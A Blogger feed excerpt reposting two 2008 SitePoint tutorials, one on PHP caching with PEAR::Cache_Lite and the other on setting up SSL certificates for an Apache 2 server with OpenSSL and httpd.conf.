/&gt;This option switches on and off the caching behavior of Cache_Lite. If you have numerous Cache_Lite calls&lt;br /&gt;in your code and want to disable the cache for debugging, for example, this option will be important. The default&lt;br /&gt;value is true (caching enabled).&lt;br /&gt;lifeTime&lt;br /&gt;This option represents the default lifetime (in seconds) of cache files. It can be changed using the setLifeTime&lt;br /&gt;method. The default value is 3600 (one hour), and if it's set to null, the cache files will never expire.&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;17 of 21 2/17/2008 9:39 PM&lt;br /&gt;fileNameProtection&lt;br /&gt;With this option activated, Cache_Lite uses an MD5 encryption hash to generate the filename for the cache file.&lt;br /&gt;This option protects you from error when you try to use IDs or group names containing characters that aren't valid&lt;br /&gt;for filenames; fileNameProtection must be turned on when you use Cache_Lite_Function. The&lt;br /&gt;default is true (enabled).&lt;br /&gt;fileLocking&lt;br /&gt;This option is used to switch the file locking mechanisms on and off. The default is true (enabled).&lt;br /&gt;writeControl&lt;br /&gt;This option checks that a cache file has been written correctly immediately after it has been created, and throws a&lt;br /&gt;PEAR::Error if it finds a problem. Obviously, this facility would allow your code to attempt to rewrite a cache file that&lt;br /&gt;was created incorrectly, but it comes at a cost in terms of performance. The default value is true (enabled).&lt;br /&gt;readControl&lt;br /&gt;This option checks any cache files that are being read to ensure they're not corrupt. Cache_Lite is able to place inside&lt;br /&gt;the file a value, such as the string length of the file, which can be used to confirm that the cache file isn't corrupt.&lt;br /&gt;There are three alternative mechanisms for checking that a file is valid, and they're specified using the&lt;br /&gt;readControlType option. These mechanisms come at the cost of performance, but should help to guarantee&lt;br /&gt;that your visitors aren't seeing scrambled pages. The default value is true (enabled).&lt;br /&gt;readControlType&lt;br /&gt;This option lets you specify the type of read control mechanism you want to use. The available mechanisms are a&lt;br /&gt;cyclic redundancy check (crc32, the default value) using PHP's crc32 function, an MD5 hash using PHP's md5&lt;br /&gt;function (md5), or a simple and fast string length check (strlen). Note that this mechanism is not intended to&lt;br /&gt;provide security from people tampering with your cache files; it's just a way to spot corrupt files.&lt;br /&gt;pearErrorMode&lt;br /&gt;This option tells Cache_Lite how it should return PEAR errors to the calling script. The default is&lt;br /&gt;CACHE_LITE_ERROR_RETURN, which means Cache_Lite will return a PEAR::Error object.&lt;br /&gt;memoryCaching&lt;br /&gt;With memory caching enabled, every time a file is written to the cache, it is stored in an array in Cache_Lite. The&lt;br /&gt;saveMemoryCachingState and getMemoryCachingState methods can be used to store and access the&lt;br /&gt;memory cache data between requests. The advantage of this facility is that the complete set of cache files can be&lt;br /&gt;stored in a single file, reducing the number of disk read/write operations by reconstructing the cache files straight&lt;br /&gt;into an array to which your code has access. The memoryCaching option may be worth further investigation if&lt;br /&gt;you run a large site. The default value is false (disabled).&lt;br /&gt;onlyMemoryCaching&lt;br /&gt;If this option is enabled, only the memory caching mechanism will be used. The default value is false (disabled).&lt;br /&gt;memoryCachingLimit&lt;br /&gt;This option places a limit on the number of cache files that will be stored in the memory caching array. The more&lt;br /&gt;cache files you have, the more memory will be used up by memory caching, so it may be a good idea to enforce a limit&lt;br /&gt;that prevents your server from having to work too hard. Of course, this option places no restriction on the size of each&lt;br /&gt;cache file, so just one or two massive files may cause a problem. The default value is 1000.&lt;br /&gt;automaticSerialization&lt;br /&gt;If enabled, this option will automatically serialize all data types. While this approach will slow down the caching&lt;br /&gt;system, it is useful for caching nonscalar data types such as objects and arrays [30]. For higher performance, you&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;18 of 21 2/17/2008 9:39 PM&lt;br /&gt;might consider serializing nonscalar data types yourself. The default value is false (disabled).&lt;br /&gt;automaticCleaningFactor&lt;br /&gt;This option will automatically clean old cache entries--on average, one in x cache writes, where x is the value set for&lt;br /&gt;this option. Therefore, setting this value to 0 will indicate no automatic cleaning, and a value of 1will cause cache&lt;br /&gt;clearing on every cache write. A value of 20 to 200 is the recommended starting point if you wish to enable this&lt;br /&gt;facility; it causes cache cleaning to happen, on average, 0.5% to 5% of the time. The default value is 0 (disabled).&lt;br /&gt;hashedDirectoryLevel&lt;br /&gt;When set to a nonzero value, this option will enable a hashed directory structure. A hashed directory structure will&lt;br /&gt;improve the performance of sites that have thousands of cache files. If you choose to use hashed directories, start by&lt;br /&gt;setting this value to 1, and increasing it as you test for performance improvements. The default value is 0 (disabled).&lt;br /&gt;errorHandlingAPIBreak&lt;br /&gt;This option was added to enable backwards compatibility with code that uses the old API. When the old API was run&lt;br /&gt;in CACHE_LITE_ERROR_RETURN mode (see the pearErrorMode option earlier in this list), some functions&lt;br /&gt;would return a Boolean value to indicate success, rather than returning a PEAR_Error object. By setting this value&lt;br /&gt;to true, the PEAR_Error object will be returned instead. The default value is false (disable).&lt;br /&gt;How do I purge the Cache_Lite cache?&lt;br /&gt;The built-in lifetime mechanism for Cache_Lite cache files provides a good foundation for keeping your cache&lt;br /&gt;files up to date, but there will be some circumstances in which you need the files to be updated immediately.&lt;br /&gt;Solution&lt;br /&gt;In cases in which you need immediate updates, the methods remove and clean come in handy. The remove method is&lt;br /&gt;designed to delete a specific cache file; it takes as arguments the cache ID and group name of the file. To delete the&lt;br /&gt;page body cache file we created in "How do I use PEAR::Cache_Lite for server-side caching?", we'd use this code:&lt;br /&gt;$cache-&gt;remove('body', 'Dynamic');&lt;br /&gt;If we use the clean method, we can delete all the files in our cache directory simply by calling the method with no&lt;br /&gt;arguments; alternatively, we can specify a group of cache files to delete. If we wanted to delete both the header and&lt;br /&gt;footer cache files we created in "How do I use PEAR::Cache_Lite for server-side caching?", we could do so like this:&lt;br /&gt;$cache-&gt;clean('Static');&lt;br /&gt;Discussion&lt;br /&gt;The remove and clean methods should obviously be called in response to events that arise within an application. For&lt;br /&gt;example, if you have a discussion forum application, you probably want to remove the relevant cache files when a&lt;br /&gt;visitor posts a new message.&lt;br /&gt;Although it may seem like this solution entails a lot of code modifications, with some care it can be applied to your&lt;br /&gt;application in a global manner. If you have a central script that's included in every page, your script can simply watch&lt;br /&gt;for incoming events--for example, a variable like $_GET['newPost']--and respond by deleting the required&lt;br /&gt;cache files. This keeps the cache file removal mechanism central and easier to maintain. You might also consider&lt;br /&gt;using the php.ini setting auto_prepend_file to include this code in every PHP script.&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;19 of 21 2/17/2008 9:39 PM&lt;br /&gt;How do I cache function calls?&lt;br /&gt;Many web sites provide access to their data via web services such as SOAP and [31]-RPC. (You can read all&lt;br /&gt;about web services in Chapter 12.) As web services are accessed over a network, it's often a very good idea to cache&lt;br /&gt;results so that they can be fetched locally, rather than repeating the same slow request to the server multiple times. A&lt;br /&gt;simple approach might be to use PHP sessions, but as that solution operates on a per-visitor basis, the opening&lt;br /&gt;requests for each visitor will still be slow.&lt;br /&gt;Solution&lt;br /&gt;Let's assume you wish to create a web page that lists all the SitePoint books available on Amazon. The actual list is&lt;br /&gt;not likely to change from moment to moment, so why would we make the request to the Amazon web service every&lt;br /&gt;time the web page is displayed? We won't! Instead, we can take advantage of Cache_Lite by caching the results of&lt;br /&gt;the XML-RPC request.&lt;br /&gt;Requires PEAR::SOAP Version 0.11.0&lt;br /&gt;The following solution uses the PEAR::SOAP library version 0.11.0 to access the Amazon web service. You can find&lt;br /&gt;this package on the PEAR web site [32].&lt;br /&gt;Here's some hypothetical code that fetches the data from the remote Amazon server:&lt;br /&gt;$results = $amazonClient-&gt;ManufacturerSearchRequest($params);&lt;br /&gt;Using Cache_Lite_Function, we can cache the results so the data returned from the service can be reused;&lt;br /&gt;this will avoid unnecessary network calls and significantly improve performance.&lt;br /&gt;The following example code focuses on the caching aspect to prevent us from getting bogged down in the details of&lt;br /&gt;using the Amazon web service. You can see the complete script if you download this book's code archive from the&lt;br /&gt;SitePoint web site.&lt;br /&gt;The Cache_Lite_Function requires the inclusion of the following file:&lt;br /&gt;cachefunction.php (excerpt)&lt;br /&gt;require_once 'Cache/Lite/Function.php';&lt;br /&gt;We instantiate the Cache_Lite_Function class with some options:&lt;br /&gt;cachefunction.php (excerpt)&lt;br /&gt;$options = array(&lt;br /&gt;'cacheDir' =&gt; './cache/',&lt;br /&gt;'fileNameProtection' =&gt; true,&lt;br /&gt;'writeControl' =&gt; true,&lt;br /&gt;'readControl' =&gt; true,&lt;br /&gt;'readControlType' =&gt; 'strlen',&lt;br /&gt;'defaultGroup' =&gt; 'SOAP'&lt;br /&gt;);&lt;br /&gt;$cache = new Cache_Lite_Function($options);&lt;br /&gt;It's important that the fileNameProtection option is set to true (this is in fact the default value, but in this&lt;br /&gt;XML&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;20 of 21 2/17/2008 9:39 PM&lt;br /&gt;case I've set it manually to emphasize the point). If it were set to false, the filename would be invalid, so the data&lt;br /&gt;will not be cached.&lt;br /&gt;Here's how we make the calls to our SOAP client class:&lt;br /&gt;cachefunction.php (excerpt)&lt;br /&gt;$results = $cache-&gt;call('amazonClient-&gt;ManufacturerSearchRequest',&lt;br /&gt;$params);&lt;br /&gt;If the request is being made for the first time, Cache_Lite_Function will store the results as a serialized array&lt;br /&gt;or object in a cache file (not that you need to worry about this), and this file will be used for future requests until it&lt;br /&gt;expires. The setLifeTime method can again be used to specify how long the cache files should survive before&lt;br /&gt;they're refreshed; currently, the default value of 3600 seconds (one hour) is being used. You can then use the&lt;br /&gt;$results variable exactly as if you were calling the web service method directly. The output of our example script&lt;br /&gt;can be seen in Figure 11.1.&lt;br /&gt;Summary&lt;br /&gt;Caching is an important and often overlooked aspect of web site development. Many factors that affect the&lt;br /&gt;performance of today's web sites weren't a problem for their predecessors--from complex, dynamic page generation,&lt;br /&gt;to a reliance on third-party data over the network. In this chapter, we've examined HTML meta tags, HTTP headers,&lt;br /&gt;PHP output buffering and PEAR::Cache_Lite, and we've seen how you can use them to control the caching of&lt;br /&gt;your web site content and improve the site's reliability and performance.&lt;br /&gt;Implementing a caching system for your site might be simple, but ultimately, it depends on your requirements. If you&lt;br /&gt;have a busy and predominantly static web site--such as a blog--that's managed through a content management&lt;br /&gt;system, it will likely require little alteration, yet may benefit from huge performance improvements resulting from a&lt;br /&gt;small investment of your time. Setting up caching for a more complex site that generates content on a per-user basis,&lt;br /&gt;such as a portal or shopping cart system, will prove a little more tricky and time consuming, but the benefits are still&lt;br /&gt;clear.&lt;br /&gt;Regardless, I hope the information in this chapter has given you a good grasp of the options available, and will help&lt;br /&gt;you determine which techniques are most suitable for your application. Don't forget to download this chapter, plus&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;21 of 21 2/17/2008 9:39 PM&lt;br /&gt;two others [33] -- PDO and Databases, and Access Control -- to enjoy offline. For information on the contents of the&lt;br /&gt;book's other chapters, check out the full Table of Contents [34].&lt;br /&gt;Back to SitePoint.com&lt;br /&gt;[1] /glossary.php?q=H#term_75&lt;br /&gt;[2] /glossary.php?q=C#term_21&lt;br /&gt;[3] /glossary.php?q=P#term_1&lt;br /&gt;[4] /glossary.php?q=A#term_19&lt;br /&gt;[5] /glossary.php?q=C#term_21&lt;br /&gt;[6] /glossary.php?q=C#term_15&lt;br /&gt;[7] /glossary.php?q=P#term_50&lt;br /&gt;[8] http://www.mnot.net/cache_docs/&lt;br /&gt;[9] http://www.zend.com/&lt;br /&gt;[10] http://www.php-accelerator.co.uk/&lt;br /&gt;[11] http://www.sitepoint.com/books/phpant2/&lt;br /&gt;[12] www.sitepoint.com/launch/108ef2/2/120&lt;br /&gt;[13] http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9&lt;br /&gt;[14] http://perl.apache.org/docs/general/correct_headers/correct_headers.html&lt;br /&gt;[15] /glossary.php?q=A#term_61&lt;br /&gt;[16] /glossary.php?q=%23#term_72&lt;br /&gt;[17] /glossary.php?q=M#term_31&lt;br /&gt;[18] /glossary.php?q=B#term_56&lt;br /&gt;[19] http://livehttpheaders.mozdev.org/&lt;br /&gt;[20] /glossary.php?q=F#term_45&lt;br /&gt;[21] http://getfirebug.org/&lt;br /&gt;[22] http://www.httpwatch.com/&lt;br /&gt;[23] http://getcharles.com/&lt;br /&gt;[24] /glossary.php?q=L#term_18&lt;br /&gt;[25] /glossary.php?q=X#term_63&lt;br /&gt;[26] http://www.phpfreaks.com/tutorials/59/0.php&lt;br /&gt;[27] http://smarty.php.net/&lt;br /&gt;[28] http://pear.php.net/package/Cache_Lite/&lt;br /&gt;[29] /glossary.php?q=M#term_12&lt;br /&gt;[30] /glossary.php?q=%23#term_72&lt;br /&gt;[31] /glossary.php?q=X#term_3&lt;br /&gt;[32] http://pear.php.net/package/soap/&lt;br /&gt;[33] http://www.sitepoint.com/launch/108ef2/2/120&lt;br /&gt;[34] http://www.sitepoint.com/books/phpant2/toc.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-5718747682773726477?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/5718747682773726477/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=5718747682773726477&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5718747682773726477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5718747682773726477'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/cache-it-solve-php-performance-problems.html' title='Cache it! Solve PHP Performance Problems '/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-8230731541372970826</id><published>2008-03-21T02:53:00.000-07:00</published><updated>2008-03-21T02:55:46.061-07:00</updated><title type='text'>Securing Your Apache 2 Server with SSL</title><content type='html'>Securing an [1] 2 Web server can be an intimidating&lt;br /&gt;prospect for those new to secure sockets layer (SSL) certificates.&lt;br /&gt;However, this need not be the case. SSL secures Web server to&lt;br /&gt;Web browser connections. Read on to better understand SSL&lt;br /&gt;certificates, learn how to set them up on Apache and launch&lt;br /&gt;your SSL-enabled site.&lt;br /&gt;In today's Web hosting environments, many Webmasters host on servers&lt;br /&gt;with ready-made SSL setups and no installation requirements, or with&lt;br /&gt;setups on which a control panel handles the heavy configuration work.&lt;br /&gt;Whatever the case, it's important to understand just what your SSL&lt;br /&gt;options are, and to know how to manage the process manually.&lt;br /&gt;Caveat to Apache 1.x Users&lt;br /&gt;While this tutorial specifically addresses Apache 2, not that much is different between this and the 1.x&lt;br /&gt;versions of Apache. Prior to version 2, SSL support was not built into Apache due to export and encryption&lt;br /&gt;regulatory demands. However, both apache-ssl [2] and mod_ssl [3] are available for 1.x versions of Apache.&lt;br /&gt;Much of the openssl and httpd.conf content in this tutorial covers both versions.&lt;br /&gt;Certification Authorities and Trusted Roots&lt;br /&gt;Before we dig into SSL certificate types and how to buy and install a certificate, let's complete a brief review&lt;br /&gt;of how SSL certificates are created and managed.&lt;br /&gt;Securing Your Apache 2 Server with&lt;br /&gt;SSL&lt;br /&gt;Apache&lt;br /&gt;Securing Your Apache 2 Server with SSL http://www.sitepoint.com/print/securing-apache-2-server-ssl&lt;br /&gt;2 of 7 2/18/2008 12:06 AM&lt;br /&gt;Certain circumstances were necessary for SSL to attain widespread commercial adoption. 'Trust' had to be&lt;br /&gt;established before users would willingly transmit confidential information over the Internet. Thus,&lt;br /&gt;Certification Authorities (CAs) were born. To ensure the software companies building today's popular Web&lt;br /&gt;browsers would include support for these CAs, several gained ownership of their trusted root certificates --&lt;br /&gt;the certificates that originate the SSL certificates sold to users for securing Websites. These companies are&lt;br /&gt;referred to as Trusted CAs; examples include GeoTrust, Thawte and VeriSign.&lt;br /&gt;According to representatives from SSL Review [4] the Trusted CAs that control their own trusted root&lt;br /&gt;certificates are permanent players in the SSL market and offer the highest level of business stability to&lt;br /&gt;enterprises and small to medium-sized businesses.&lt;br /&gt;SSL Review is a Website that's dedicated to demystifying SSL certificates and, while owned by GeoTrust, a&lt;br /&gt;major SSL provider, the site is fairly unbiased. It includes an excellent SSL comparison chart featured&lt;br /&gt;previously in Open Sourcery [5].&lt;br /&gt;What Type of Certificate Should I Choose?&lt;br /&gt;There are numerous vendors offering a variety of SSL certificates. Certificates can range considerably in&lt;br /&gt;price -- from as much as US$1495 to free -- depending upon the way you plan to use the certificate, and the&lt;br /&gt;services and support the vendor offers. Let's take a look at a few of the options.&lt;br /&gt;Certificates start at a minimum of 40-bit encryption. These certificates are useful for securing extranets,&lt;br /&gt;intranets and Websites through which ecommerce is not being transacted. They also include 128-bit&lt;br /&gt;encryption, the de facto standard for two-way encrypted transactions between users and a Web server.&lt;br /&gt;Securing Data in a Non-commercial Environment&lt;br /&gt;If you are seeking to secure data by providing an encrypted connection through which users can be&lt;br /&gt;authenticated, modify records, or view personal data, then a low-end certificate may work.&lt;br /&gt;Certificates in this category should cost under US$50 annually and include availability from Trusted CAs&lt;br /&gt;ipsCA [6] and FreeSSL.com [7]. As these certificates do not carry a known brand, fraud control or human&lt;br /&gt;support, they are suitable for non- or light commerce environments, though they do provide bonus 128-bit&lt;br /&gt;encryption. According to FreeSSL.com, a light commerce environment is one with no more than 50&lt;br /&gt;transactions weekly, and an average transaction value of US$50.&lt;br /&gt;Wildcard Certificates - Securing Multiple Domains with one Certificate&lt;br /&gt;There may be cases in which multiple sub-domains under one domain need to be secured. For example,&lt;br /&gt;securing www.domain.com, orders.domain.com and service.domain.com under one certificate is possible&lt;br /&gt;with a wildcard SSL certificate.&lt;br /&gt;Since you can secure an unlimited number of host names, wildcard certificates are generally more expensive&lt;br /&gt;than normal certificates, but they become very cost effective for those who need to secure several domains.&lt;br /&gt;Certificates in this category can range from US$299 up to US$800 and are available from FreeSSL.com,&lt;br /&gt;ipsCA, GeoTrust and others.&lt;br /&gt;Securing for eCommerce&lt;br /&gt;Securing Your Apache 2 Server with SSL http://www.sitepoint.com/print/securing-apache-2-server-ssl&lt;br /&gt;3 of 7 2/18/2008 12:06 AM&lt;br /&gt;If you're securing a site for commerce-related activity, many issues arise, including browser compatibility,&lt;br /&gt;fraud prevention, and the deployment of the highest levels of security within your economic and technical&lt;br /&gt;capabilities.&lt;br /&gt;Each Trusted CA has developed its own features, benefits and platforms to support its bid for your SSL&lt;br /&gt;business; however, some provide more comprehensive solutions than others.&lt;br /&gt;When looking for an ecommerce SSL, consider the following questions:&lt;br /&gt;Does the Trusted CA offer your users a method by which they can authenticate or validate your SSL&lt;br /&gt;certificate through their Web browser?&lt;br /&gt;Is there warranty protection if your certificate is stolen, corrupted, impersonated, or you experience&lt;br /&gt;loss of use?&lt;br /&gt;What kinds of perks are added in if extra dollars are invested in the certificate -- such as extended&lt;br /&gt;renewal and payment services for processing transactions?&lt;br /&gt;The price of an ecommerce certificate can range from US$199 to US$1495 annually. They're available from&lt;br /&gt;all major Trusted CA providers, including GeoTrust, Thawte and VeriSign.&lt;br /&gt;Testing SSL via Self-Signed Certificates/&lt;br /&gt;Your Apache Web server is already prepared to provide a self-signed SSL certificate. These certificates are&lt;br /&gt;handy for testing and are, of course, free. In most cases, they will generate alert messages for your users as&lt;br /&gt;they are not generated from Trusted CA root certificates and do not offer any third-party proof to validate&lt;br /&gt;your site's identity. Thus, these certificates are best for internal use or during development and testing.&lt;br /&gt;Getting Started with SSL on Apache&lt;br /&gt;There are a few key ingredients you will need to use with Apache to secure your Web server: OpenSSL,&lt;br /&gt;mod_ssl, and root access to the server.&lt;br /&gt;OpenSSL is a command line toolkit for using secure sockets layer encryption on a server and can be&lt;br /&gt;acquired from openssl.org [8]. This tool works with Apache module mod_ssl in carrying out SSL-related&lt;br /&gt;tasks. You will need root privileges to install OpenSSL to its traditional destination of&lt;br /&gt;/usr/local/ssl/install/openssl.&lt;br /&gt;You must also ensure that mod_ssl is available on your server. There are other alternatives to mod_ssl; one&lt;br /&gt;is apache-ssl, from which the mod_ssl code was forked. However, mod_ssl's adoption has been dramatic --&lt;br /&gt;nearly 20% of Apache servers were running it at the beginning of 2002.&lt;br /&gt;To see which modules are active in Apache, issue the following command in a Terminal as root user on your&lt;br /&gt;server.&lt;br /&gt;/usr/sbin/httpd -l&lt;br /&gt;If you have a recent [9] distribution installed, it is likely Apache's modules are compiled as dynamic&lt;br /&gt;loadable modules, in which case you'll need to edit your httpd.conf file and check that the following line is&lt;br /&gt;uncommented.&lt;br /&gt;Linux&lt;br /&gt;Securing Your Apache 2 Server with SSL http://www.sitepoint.com/print/securing-apache-2-server-ssl&lt;br /&gt;4 of 7 2/18/2008 12:06 AM&lt;br /&gt;LoadModule ssl_module modules/libmodssl.so&lt;br /&gt;Restarting Apache will load the module into action. In my case, having used an RPM-based install of Red&lt;br /&gt;Hat and Apache, this is achieved with the apachectl command, typically found in&lt;br /&gt;/usr/sbin/apachectl. You can restart Apache by typing the following:&lt;br /&gt;/usr/sbin/apachectl restart&lt;br /&gt;There are several helpful features of apachectl, including stop, start, restart, status and check config. See the&lt;br /&gt;man pages via man apachectl.&lt;br /&gt;Note that in recent Apache distributions, the httpd.conf file contains an &lt;IfDefine HAVE_SSL&gt;&lt;br /&gt;section that is intended to contain the &lt;VirtualHost&gt; definitions for all your SSL Websites. By placing&lt;br /&gt;these definitions within the &lt;IfDefine&gt; section, you can ensure that the sites will not be made available&lt;br /&gt;unless SSL support is successfully loaded on the server. This prevents any problems arising in which SSL&lt;br /&gt;could expose your secure sites.&lt;br /&gt;Create a Local Key Pair&lt;br /&gt;If you have not already done so, your first step should be to create a local private/public key from which you&lt;br /&gt;can generate certificate requests. These can then be used for self-signed certificates, or when purchasing a&lt;br /&gt;certificate from a CA.&lt;br /&gt;OpenSSL allows us to use the command line to generate keys. You have the option of using strong&lt;br /&gt;encryption and a passphrase to secure your private key, as shown below.&lt;br /&gt;openssl genrsa -des3 -out domainname.com.key 1024&lt;br /&gt;Typing the above on the command line will create a private key using TripleDES encryption, 1024 being the&lt;br /&gt;number of bits generated in the key. There are options for lower encryption levels and making the&lt;br /&gt;passphrase not required, however, these are not recommended for those with servers that are [10]&lt;br /&gt;via the Internet.&lt;br /&gt;Note that if OpenSSL is not in your path, you may need to enter the full path to the binary for this purpose;&lt;br /&gt;by default, it's /usr/local/ssl/install/openssl/bin/openssl. The key will be created in&lt;br /&gt;the directory you're in.&lt;br /&gt;Finally, you should modify the permissions to restrict access to the new key by issuing chmod 400&lt;br /&gt;domainname.com.key on the command line. This ensures that only the root user has access to this file, and&lt;br /&gt;still requires the passphrase you may have used to create the key in order to open.&lt;br /&gt;Creating a Self-Signed Certificate&lt;br /&gt;This is a very easy step, but again, remember that self-signed certificates should only be used for internal&lt;br /&gt;systems or in development and testing.&lt;br /&gt;Generate your own certificate by going back to the command line and entering the following:&lt;br /&gt;accessible&lt;br /&gt;Securing Your Apache 2 Server with SSL http://www.sitepoint.com/print/securing-apache-2-server-ssl&lt;br /&gt;5 of 7 2/18/2008 12:06 AM&lt;br /&gt;openssl req -new -key domainname.com.key -x509 -out sslname.crt&lt;br /&gt;This command creates a self-signed SSL certificate, which can then be placed in the proper directory. Due&lt;br /&gt;modifications can then be made in httpd.conf (we'll cover these in just a moment).&lt;br /&gt;Generating a Certificate Signing Request&lt;br /&gt;To purchase an SSL certificate from a CA, you need first to generate what is called a CSR, or Certificate&lt;br /&gt;Signing Request. This is submitted to the CA of your choice, and is used to create the official SSL certificate&lt;br /&gt;that will be returned to you, and with which you may secure your Web server.&lt;br /&gt;The CSR request is straightforward; it's effected on the command line with OpenSSL as follows:&lt;br /&gt;/usr/local/ssl/install/bin/openssl req -new -key domainname.com.key&lt;br /&gt;-out domainname.com.csr&lt;br /&gt;This command creates the .csr file that is sent or uploaded to a CA during the process of ordering an SSL&lt;br /&gt;certificate.&lt;br /&gt;Receiving and Installing Your SSL Certificate&lt;br /&gt;Generally, CAs provide detailed instructions for the installation of their SSL certificates; however, I'll cover&lt;br /&gt;some broad points here.&lt;br /&gt;The CA from which you order a certificate will email you either the certificate, or a link at which you can&lt;br /&gt;download it. Follow the instructions provided precisely -- especially with regards to opening a certificate in a&lt;br /&gt;text editor. Do not use a word processor or rich text editor, as the certificate code can become corrupted.&lt;br /&gt;You should also take care to ensure that no leading or trailing spaces follow the beginning and end of the&lt;br /&gt;certificate code -- see the example code below:&lt;br /&gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;MIIC8DCCAlmgAwIBAgIBEDANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkEx&lt;br /&gt;FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYD&lt;br /&gt;VQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlv&lt;br /&gt;biBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcGA1UEAxMQVGhhd3RlIFNlcnZlciBDQTEm&lt;br /&gt;MCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5jb20wHhcNOTkwNTI1&lt;br /&gt;MDMwMDAwWhcNMDIwNjEwMDMwMDAwWjBTMQswCQYDVQQGEwJVUzEbMBkGA1UEChMS&lt;br /&gt;RXF1aWZheCBTZWN1cmUgSW5jMScwJQYDVQQDEx5FcXVpZmF4IFNlY3VyZSBFLUJ1&lt;br /&gt;c2luZXNzIENBLTIwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMYna8GjS9mG&lt;br /&gt;q4Cb8L0VwDBMZ+ztPI05urQb8F0t1Dp4I3gOFUs2WZJJv9Y1zCFwQbQbfJuBuXmZ&lt;br /&gt;QKIZJOw3jwPbfcvoTyqQhM0Yyb1YzgM2ghuv8Zz/+LYrjBo2yrmf86zvMhDVOD7z&lt;br /&gt;dhDzyTxCh5F6+K6Mcmmar+ncFMmIum2bAgMBAAGjYjBgMBIGA1UdEwEB/wQIMAYB&lt;br /&gt;Af8CAQAwSgYDVR0lBEMwQQYIKwYBBQUHAwEGCCsGAQUFBwMDBgorBgEEAYI3CgMD&lt;br /&gt;BglghkgBhvhCBAEGCCsGAQUFBwMIBgorBgEEAYI3CgMCMA0GCSqGSIb3DQEBBAUA&lt;br /&gt;A4GBALIfbC0RQ9g4Zxf/Y8IA2jWm8Tt+jvFWPt5wT3n5k0orRAvbmTROVPHGSLw7&lt;br /&gt;oMNeapH1eRG5yn+erwqYazcoFXJ6AsIC5WUjAnClsSrHBCAnEn6rDU080F38xIQ3&lt;br /&gt;Securing Your Apache 2 Server with SSL http://www.sitepoint.com/print/securing-apache-2-server-ssl&lt;br /&gt;6 of 7 2/18/2008 12:06 AM&lt;br /&gt;j1FBvwMOxAq/JR5eZZcBHlSpJad88Twfd7E+0fQcqgk+nnjH&lt;br /&gt;-----END CERTIFICATE-----&lt;br /&gt;Using RPM-based install defaults, my private key and the valid SSL certificates returned from a CA go into&lt;br /&gt;/etc/httpd/conf/ssl.key/ and /etc/httpd/conf/ssl.crt/ respectively. Your&lt;br /&gt;self-signed certificates should also reside in the latter directory in place of, or in addition to, formal SSL&lt;br /&gt;certificates issued by a CA.&lt;br /&gt;This will differ depending upon how your version of Apache was installed. VeriSign offers on its site a&lt;br /&gt;sweeping installation guide index [11] that covers numerous Web servers, including Apache. The Apache&lt;br /&gt;mod_ssl tutorial is based largely on the information available on the modssl.org Website.&lt;br /&gt;Configuring Apache to enable SSL for the domain(s) you're securing occurs in the httpd.conf file. To begin,&lt;br /&gt;make a backup of the file. Then, open it in your favorite text editor.&lt;br /&gt;You can add the virtual host domain you're securing into the &lt;IfDefine HAVE_SSL&gt; section noted&lt;br /&gt;above. A minimal example entry straight from a default httpd.conf file is listed below for your reference. You&lt;br /&gt;should modify items such as paths and IP addresses to fit your own environment. The SSL port is 443 unless&lt;br /&gt;you're specifically adjusting the port to another port number (the SSL config appears in bold below):&lt;br /&gt;&lt;IfDefine HAVE_SSL&gt;&lt;br /&gt;&lt;VirtualHost 10.0.0.5:443&gt;&lt;br /&gt;DocumentRoot /home/sites/domainname.com/html&lt;br /&gt;ServerName www.domainname.com&lt;br /&gt;ServerAlias domainname.com&lt;br /&gt;ServerAdmin admin@domainname.com&lt;br /&gt;ErrorLog /home/sites/domainname.com/logs/error_log&lt;br /&gt;TransferLog / home/sites/domainname.com/logs/access_log&lt;br /&gt;SSLEngine on&lt;br /&gt;SSLCertificateFile /etc/httpd/conf/ssl.crt/domainname.com.crt&lt;br /&gt;SSLCertificateKeyFile /etc/httpd/conf/ssl.key/domainname.com.key&lt;br /&gt;SetEnvIf User-Agent ".* [12].*" nokeepalive ssl-unclean-shutdown&lt;br /&gt;&lt;/VirtualHost&gt;&lt;br /&gt;&lt;/IfDefine&gt;&lt;br /&gt;Note that, if you perform a hard start of your server, your passphrase will be required for you to access the&lt;br /&gt;OpenSSL private key you created earlier. It is not prompted during reboots.&lt;br /&gt;Now, you must restart Apache using the apachectl command, to ensure that all your modifications are&lt;br /&gt;enabled. You should then be able to access your site securely by going to https://domainname.com/ [13].&lt;br /&gt;Wrapping Up, Additional Features and Tools&lt;br 